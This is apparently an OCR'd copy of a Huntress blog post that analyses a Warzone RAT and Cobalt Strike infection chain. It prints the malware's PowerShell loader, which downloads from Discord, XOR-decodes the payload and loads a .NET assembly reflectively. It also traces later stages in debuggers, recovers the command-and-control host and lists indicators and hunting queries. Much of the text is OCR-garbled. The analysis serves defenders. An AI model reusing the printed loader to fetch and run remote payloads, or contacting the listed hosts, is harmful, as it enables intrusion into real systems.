[Reflection.Assemblyl$a = [Reflection.Assembly]::Load($bytes)
[object]$o = $a.CreateInstance("DllClass")

[Typel $t = $a.GetType("D11Class")
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After downloading the Discord payload, we will allow the script to do the heavy lifting. We just need to modify

parts out of the script after we downloaded and isolated the payload:

[string] $xoredText = Get-Content "C:\\users\\Burgers\\Desktop\\mkv.txt"
[io.file]::writeallbytes(" C:\\users\\burgers\\desktop\\mkv_decoded.bin", $bytes)

1 Bfunction Hex-To-Bytes(
2 [ Olparam([ (Mandatory=Strue)] [string]Shex);
3 Sa = Shex.Length

4 [byte[]1]SBytes = New-object systen, syte[] sa

5 for($i=0; $i -1t Shex. Leng:h

6 $Bytes[$i/2] = [convert] ToEy(e(3hex substring(si, 2), 16)

return ssytes
11 senc = [System.Text.Encoding]::UTF8

12 =function xor

13 param(Sstring)

14 $xorkey = Senc.Getsytes(" kmybwqoz )

15 $string = Senc.Getstring([System.Convert]: :FromBase64string(Sstring))
16 Shytestring = Senc.Getsytes(Sstring

18 Sxordbata 3(for (8i = 0; §i -1t Sbytestring.length; ) {
19 = for ($j = 0; $j -1t sxorkey.length; $j++) {
20 Sby(esrrmg[sw “bor Sxorkey[$j

22 @ # Tsi -ge sbytestring Length) {
23 $j = $xorkey.length

24 3

25 ¥

27 Sxordbata = Senc.GetString($xordbata)
28 return $xordpata
}

34 Sto'l [math)::sqrecsi;
35 if (Sko -eq 1000){ break}
}

38  #3webClient = New-Object System.Net.webClient
39 #[stringlSxoredText = Swebclient.Downloadstring(“https://cdn.discordapp.com/attachments/1013559875034415135/1014369421629857882/sdwwekkjnwsdw . mkv')

41 [string] Sxoredrext = get-content "c:\\users\\burgers\\desktop\\mkv.txt"
42 [stringlshex = xor -string SxoredText

43 #echo Shex

44 [byte[]]Sbytes = Hex-To-Bytes -hex Shex

45 [io.filel::writeallbyres("c:\\users\\burgers\\desktop\\nkv_decoded.bin", Sbytes)
46  #echo Sbytes.Lengt

47 #[Reflection.Assenbly]Sa = [Reflection.Assembly]::Load(Sbytes)

48  #[object]So = sa.CreateInstance("pl1class")

49 #[Type]st = sa.GerType("Dl1Class")

30 #lsystem.object[]]sparans = New-object system.objectl] 1

51 #Sparams[0] =

52 #[system. Raflect an.MethodInfolSmi — St.GetMethod("Main®)

51 #ifCsni cetparanetersO) Length ¢q O
55 #  Sparams = $nu
5 #}

[Ho.file]::writeallbytes("c:\\users\\burgers\\desktop\\mkv_decoded.bin", Sbytes)
#echo_sbytes.Length

#[Reflection.Assenbly]Sa = [Reflection.Assenbly]: :Load(shytes)

#[object]So = Sa.createInstance("D11class™)

#[Type]st = Sa.GetType("DlIClass”

#[system. nb]e(([]]!params = New-object System.object[] 1

#Sparams[0] =

#[system. nef'\ect\on methodInfol$mi = $t.Getmethod("Main")

#if(Smi.Getparameters().Length -eq 0){

# Sparams = $null
AN

#$mi. Invoke (So, Sparams)

Ps C:\Users\gurgers>

With the decoded mkv_decoded.bin it’s important to still do a quick static analysis of the payload within
pestudio. The signature confirms our suspicions of it being .NET. Along with the description and version of the
file, it gives us additional information that the payload may be a netLoaderDIl. We also see the entropy is only

2.980, showing this payload may not be packed.

SBCE c:\users\burgers\desktop\mkv_decode: property value

i “indicatoes (8) mds F7D99B033E7713E90013F03CASDIERES
2 shal DZAEEBA75BSBE653EATTEEBSDIFEBEBAIBIFEDES
- :Z::::;;?;:;ﬂ sha256 568D1583A9926543C76DEB275D407465280762682780E AAFFASFCTIDD 1 AACT5A
first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B& 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
file- fer (time-stamp! first-bytes-text INIIZ e o oe o o, s net i mmrma v m c  m 6 M s o
optional-header (console) fille-size 3376128 bytes
] directories (5) entropy 2980
sections (99.98%) imphash DAEO2F32A
+ ] libraries (mscoree.dll) * signature Micro v
« | functions (61) tooling
= entry-point FF 25 0D 20 00 10 00 00 00 0O 00 00 0D 00 00 0D 00 00 00 00 00 00 OO 00 00 0O 00 00 00 00 00 00 00
file-version 1.00.0
= .NET (v4.0.30319) description netLoaderDIl
‘74 resources (version) file-type dynamic-link-library
abc strings (size cpu 32-bit
‘E‘ subsystem console
H compiler-stamp xE07644DA (Mon May 02 04:40:58 2089 | UTC

{19 version (netLoaderDIl.dll) debugger-stamp

U resources-stamp
import-stamp
exports-stamp

Inspecting the netL.oaderDIl within dnSpy we see a few classes: Main, runPayload and StringToByteArray.

Page 8 of 16


https://www.winitor.com/

https://www.huntress.com /blog/ave-maria-and-the-chambers-of-warzone-rat

P =B Type References

P =B References

4 {}
P ¥, <Module
"‘ ‘E: : -|_ LI

P Bl Base Type and Interfaces
P M Derived Types

This application stores the next stage of the malware within Main(), which we see has a large byte array within it.
The netLoaderDII requires StringToByteArray to convert the hex to an application and runPayload will launch

the next stage.

Extract the hex string from dnSpy and place it within Cyberchef and convert From Hex to gain our next stage.
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Recipe Aama Input lengeh: Less,ses  + [0 O] W T
From Hex S n

Delimiter

Auto

Name: PastedData *
Size: 1,685,504 bytes
Type: text/plain
Loaded: 100%
Output / x 15:;':: gg;’;; a rD M HH

Size: 842,752 bytes

DOWNLOAD

Q o S to 2048 ©

- v
BAKE! |
STEP AUtO Bake

Once more place the next stage within pestudio for a quick static analysis of the file's contents. We can see the

original files named RunPE.exe. With a description of SyscallPEloader, we can somewhat safely assume this is

potentially a tool to modify the syscall. This file is now packed heavily with an entropy of 7.766.

2 D C: urgers\desktop\runpe.exe: property value
i~ indicators (39) mds 2E39F9EDA2DEBB22ATEFCBB69BEASCTS
’} dos-header (64 bytes) shal BD8CAE38CCEE48DS8ESFOCCRI77CEFTDTFES20EB
B dos-stub (64 bytes) sha256 DF94021D44748946E0565207E453DBC66DE0020868E6B14D43953F3D1C3D35C3
s first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
> file-header (time-stamp) first-bytes-text ME - s =0
- [ optional-header (console) s see BAT2 bytes
| H directories (3) entropy 1.055
L. b sections (99.94%) imphash
27 libraries (3) * signature Microsoft .NET
£ functions (2839) tooling
= entry-point 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 0000 00
famO file-version 1.0.00
_ % NET(v4.0.30319) description SyscallPELoader
(il resources (2) file-type executable
i--abe strings (27429) cpu 64-bit
.@ debug (time-stamp) subsystem console
& manifest (asinvoker) compiler-stamp 0x9E2F1608 (Thu Feb 05 06:32:40 2054 | UTC)
version (RunPE.exe) debugger-stamp
=4 resources-stamp
import-stamp n/a
exports-stamp

Sadly this is not the last stage of the malware, and it appears that it is using a common evasion tactic of unhooking

APIs within the host and thus spawns a process for Notepad.exe. Needing further insight, we turn to one of our
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neighborhood experts to finish off this investigation.

£ Big thanks to @Matthew Brennan for his insight on this next stage.
The following is basically a TL;DR of Matthew's findings. Let's check it out!

Loaded msvcrt.dll

Patching msvcrt.dll!_ C_specific_handler, to: @x7FFCFF9F7F6@
Patching msvecrt.dll!__ getmainargs, to: @x7FFCFF9D79D@
Patching msvcrt.dll! initenv, to: @x7FFCFFA64D28
Patching msvcrt.dll!__iob_func, to: @x7FFCFFAGCF4@
Patching msvcrt.dll!_ lconv_init, to: @x7FFCFF9FB@EB@
Patching msvcrt.dll!_set_app_type, to: FFCFF9FB13@
Patching msvcrt.dll!_setusermatherr, to: @x7FFCFFA38160
Patching msvcrt.dll!_acmdln, to: @x7FFCFFA645B@
Patching msvcrt.dll! amsg exit, to: @x7FFCFFABA199@
Patching msvcrt.dll! cexit, to: @x7FFCFFA@A210
Patching ms .dll!_fileno, to: @

Patching ms\ .dl1l! fmode, to: @ FCFFAG6467C
Patching t.dll!_initterm, to: @x7FFCFFABA518
Patching msvcrt.dll!_onexit, to: @x7FFCFF9FA998
Patching msvcrt.dll! setjmp, to: FFCFFA42CA@
Patching msvcrt.dll! setmode, to: @x7FFCFF9EC43@
Patching msvcrt.dll!abort, to: FFCFFOFF1E®
Patching msvcrt.dll!calloc, to: Bx7FFCFF9E9C30@
Patching msvcrt.dll!exit, to FCFFABA7D®

Patching msvcrt.dll!fflush, to: 8x7FFCFFA172B@
Patching msvcrt.dll!fprintf, to: @x7FFCFFA174B@
Patching msvcrt.dll!fputc, to: ©@x7FFCFFA1D150
Patching msvcrt.dll!free, to: Bx7FFCFFOESC80

Patching msvcrt.dll!fwrite, t Ox7FFCFFALE160
Patching msvcrt.dll!longjmp, to: @x7FFCFFOFF848
Patching msvcrt.dll!malloc, to: 7FFCFF9E9CDO
Patching msvcrt.dll!memcmp, to: @x7FFCFFA2CDF@
Patching msvcrt.dll!memcpy, to: Bx7FFCFFA443CO
Patching msvcrt.dll!printf, to: @x7FFCFFA18B50
Patching msvcrt.dll!rand, to: Bx7FFCFFAGB080

Patching msvcrt.dll!signal, to: Bx7FFCFFOFAE40
Patching msvcrt.dll!strcmp, to: @x7FFCFFA2D@D@
Patching msvecrt.dll!strlen, to: @x7FFCFFA2D2C@
Patching msvcrt.dll!strncmp, to: @x7FFCFFA2D620@
Patching msvcrt.dll!vfprintf, to: @x7FFCFFA1A@D@

End of functions for msvcrt.dll

Loaded USER32.d11
Patching USER32.dll!MessageBoxA, to: @x7FFDee49BCA@
End of functions for USER32.d1l

End of DLLs

Finished resolving imports

Got fresh Syscall stub for NtAllocateVirtualMemory from disk!

Performing extra environmental patches

After the execution of the RunPE.exe, we open ResourceHacker to see available processes on the host.

I ] notepad.exe 8020 464 MB DESKTOP-PNV..\Burgers Notepad

Within properties, we open the Threads tab. Instantly a TID of 3488 flashes in front of us and changes its start
address from 0x1da511e0000 to 0x0.
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] notepad.exe (8020) Properties - O p it

Environment Handles GPU Disk and Network Comment
General  Statistics  Performance  Threads  Token  Modules  Memory

-

TID CPU Cycles delta Start address Priority
3488 Ox1da511e0000 Normal
3352 Qu7ffc178a2ad0 MNormal
5468 Ox7ffc178aZadl MNormal
6696 Ox7ffc178a2ad0 Normal
7056 Ox7ffc178a2ad0 Normal
7584 Ox7ffcl78a2ad0 Norral
< 3
Start module:
Started: N/A
State: NfA Priority: N/A
Kernel time: N/A Base priority: N/&
User time: N/A 1/O priority: MNfA
Context switches:  N/A Page pricrity: N/A
Cycles:  N/A Ideal processor:  N/A
Close

Inspect the thread, if you will: here we see SleepEx+0x9e which sleeps the host. Also, there is an address of
Ox1da52c4acdf that is close to the start address that flashed at the beginning. This could be the decryption piece
of the software. Copy the thread 0x1da52c4acdf. Go ahead. It's okay.
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B ' Stack - thread 3488

Name
ntoskrnl.exe!KeWaitForSingleObject+0x38f0
ntoskrnl.exe!KeWaitForSingleObject+0x1787
ntoskrnl.exelKeWaitForSingleObject+0x98f
ntoskrnl.exe!KeDelayExecutionThread+0x122
ntoskrnl.exe!SeReleaseSubjectContext+0x217f
ntoskrnl.exelsetjmpex+0x7ch5
ntdll.dlI'NtDelayExecution+0x14
KernelBase.dll'SleepEx+0x%e
Ox1da52cdacdf

Ox 11519

0x1da00000000
0x30001c00000bb

o ~J|oh L1 B W=D

=
=

Copy

Now attach the Notepad.exe process to x64dbg and Go te Expression with Ctrl + G. Now paste the thread

address 0x1da52c4acdf and set an execution breakpoint. We'll wait.

Fle View Debop Tace Phgns Fvourkis Oions Heb A 172031
SO Sutawd tulPEsPh#

o g W emoymap () CalSack  SseH (o] S Wl ombols O Souce O References W Thveads b rondles  ¢¥ Trace
2630 s rsp, 76 silussrThreadsiars
e o o O GRS

oy X amord per s [ snserhreadznsTh
i rv(dl'l mmmm

oY o r x rex: WA Gl
s (7FCL7903000 )
n(dH mcmmn

e roxi"Hp @K\E
%r;:ém per s £ [7FFC17903000 ]

rex: WA @R\

8304 78

5p+ 101, rbx TpReleasecleanuparoupsesbers
rsp 0 Fox b

E——— =
st
e M :
Y DR S ot oo > comoIDSI0MDE
2 i
i =
Seate A — =
s 8 F -, AR
88,8 AR LA
032 10 [F
g e oo Hb
i
EEae | Eaiegman
o P e o

qord pre se:trapeE) mwmmmm;.n
FExe00007Fr85251 5430 "HF1 (oKLt

oxt :00007FFC178A2685 ned11. dT1:$52665 451485
S0umpl  WhDump2 W Dump3 ¥ Dumpd 4l DumpS

adre:
Frcl 7 e,
00007FFC17850010 0 H
00007FFC17830020 % o
00007FF 17830030 o
o e
00007eF 17850050 & raicanno
0007er 17850080 7 Pl in 005

00007EFc17850070 85 63|2€ 00 0o 0A|28 00 s

00007EF C17850080 68 64|13 c6 06 39|13 c6 5k 3¢k )

00007EF C17850090 08 3312 G5 08 39 57 540w, 8 .9
¢

5
2
%
0

28222000282 7828

8888252883000008;
3

80 x2|00 %
06 14(00 58 11 00

5 09(00 30 80 00 2
0 00(00 2 00 00

0 00/00 80 00 00|00 S0

1 0003 00 60 41|00 B0

o0 00(00 00 00 00(00 00

0 00(00 00 00 00/00 00

25 09|71 2 01 09|00

wide FRU
ax

REX  0000000000000000

BOC  ODO7TFFESISISASD M) (BK\C"
ROX 0000008 7AC01000
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BSE  00ODOOSTABFEFAES

RSE 0000000

Rox 00

" 00

1 0000000000000000
RIZ 0000000000000

RI3  0000000000000000

RIZ 0000000000000

RIS 0000000000000000

RIP  OD0OTFFCLISAZ630  <ntdll.ACIuserThreadstar
aruass 0000000000009200
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EA R

A A

SECror 0000000 (ERROR_SUCCESS)
Laststatus 00000000 (STATUSSUCCESS)

rom
o028
Q0N Hon

00000000000000000000 X870 Empty
svm 400a600400GH00AD0OND A47r1 ERpLY

T2) 00000 00 X712 Empry
S7633 S0000000000000000000 3871 Evpey
STG4) 00000000000000000000 X87r4 Empey
S7es) ooocoupooocacnoooono 73 ey

ST(6) 00000000000000000000 X87r6 Empey
ST(7) 00000000000000000000 X87¢7 Empey

xé7Taguord_ rere
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51 8 ooo0
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5: [Pspega) B00000000000000

0000000000

0.000000000¢

] Unlocked

Page 13 of 16




https://www.huntress.com /blog/ave-maria-and-the-chambers-of-warzone-rat

Change the thread to the value closest to the address; in this case, it is the thread using 000001DA511E0000.

7 Inw Nﬂs @ Breakpoints M8 Memory Map &IIShd( =5 SEH Elpt stm < Source S References W Threads ‘Iﬁndles 1- B

007 FFC: 0
000000874C01000 | 00000IDAS 2C4ACOF
U” | 00000087AC020000 | 00007FFC178F07C4 |1

Now we run the debugger until it hits the Hardware BreakPoint. We hit the key g and get a glimpse of what the
loops are doing on this host. This is potentially the decryptor algorithm.

We also set a Hardware on Execution breakpoint on the address 000001DA52C4AD2B and run the application.

000001DA52C4ACDF
mmov rl0,gword ptr ds:[rbx+8]

000001DA52C4ACE3

mov r9d,dword ptr ds g
mov r'lld dword ptr ds [rl +4]
lea ri0 d ptr ds:[r10+8]
test rod.ro

ine masim

000001DAS2C4ACF3
test rlld,rlld
je 1DA52C4AD2B

000001DA52C4AD2B OOOOOIBASZMACFB
cm F

mov rbp,qword ptr ss:frsp+ jae g 1DA52C4ACE3

mov rsi, gworcl ptr ss:frsp+40

add rsn.

ret

000001DA52C4ACFD
mov rdi,r9

0000010&52(:4;\1:00
r8 , qword ptr ds:[rbx]
egﬁ ,4EC4EC4

nc

imul edx,edx,D

sub eax,edx

mov cl byte ptr ds:[rax+rbx+10]
xor byte ptr ds: [r8+rd1] cl
inc rdi

cmp r9d,rlld

jb  1DA52c4AD00

000001DAS52C4AD29
Jimp 1DAS2C4ACE3

Now step in the code a few times and we get our C2 information: organitations[.Jcom/Preserve/stat/3E8YZFXJ
(69.28.84.201).

~ 0F86_C9010000 jbe 1DAS2C28E33
00001DAS2C28C6A dazsastas ssoonoon | mov rad, uord g ss
0000010A52C28C72 d8:88ac2q 20000000

BEICZI 98000000

rspess rspe88] :"Mozi11a/5.0 (windoms NT 6.0; WONG4) Applewebicit/s37.36 (KHTML, like Gecko) chrome/48.0.2564.109 safari
mov rbpqword ptr 55 :frsp-90) rsp+90] :"/Preserve/stat/3E8YZFX] "
mov. r(l MM ptr ss:frsp+98] rsp+98] : "organitations.com, /Preserve/stat/3e8YZFX1"
mov

T8, I
mov adv

C28C
B0A00IRL SEIRERR it

Review ELK for the process notepad.exe that is spawned by the parent process powershell.exe with the

command from the user's environment.

Note: It’s important to remove this process from the client as this is a cobalt strike beacon.
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TLDR:

The Initial payload for this malware is:
- a user downloads a maldocx from a phishing email

- they execute the executable which runs an encoded base64 command that disables the firewall and installs

environment persistence within the user's AutoRun key and creates a process that has RAT capabilities.
It’s found some samples that have this form of execution pattern:
Maldocx — Javascript (Wscript) — Powershell Environment — Cobaltstrike

Maldocx — Powershell Environment — Cobaltstrike

Final Thoughts

We hope you found this deconstruction helpful and useful. Below are some additional resources for you to get
your hands dirty and gain a deeper understanding of what we did here in this blog today. The more analysts play
around with malware in a safe environment, the better they can become at spotting the nastier, greasier, well-

hidden activity lurking within environments.

Discord URLSs
https://cdn[.]discordapp[.]com/attachments/1004902785772441697/1004915801771495495/ppp
https://cdn[.]discordapp[.]com/attachments/1013559875034415135/1014369421629857882/sdwwcKkjnwsdw.mkv
Autorun

HKU\SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKU\SID\Environment

HKU\SID\Software\<value>

C:\Users\User\appdata\local\temp\<value>.js - Some Variants

Search Queries

+details.path:powershell.exe +details.command:"GetEnvironmentVariable"

+process.command_line.text:"GetEnvironmentVariable" +process.command_line.text:/[a-f0-9]{12,18}/
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+process.name:notepad.exe +process.parent.name:powershell.exe +process.parent.args_count:7

+process.cleartext:(cdn.discordapp.com AND attachments)

Source: https://www.huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat
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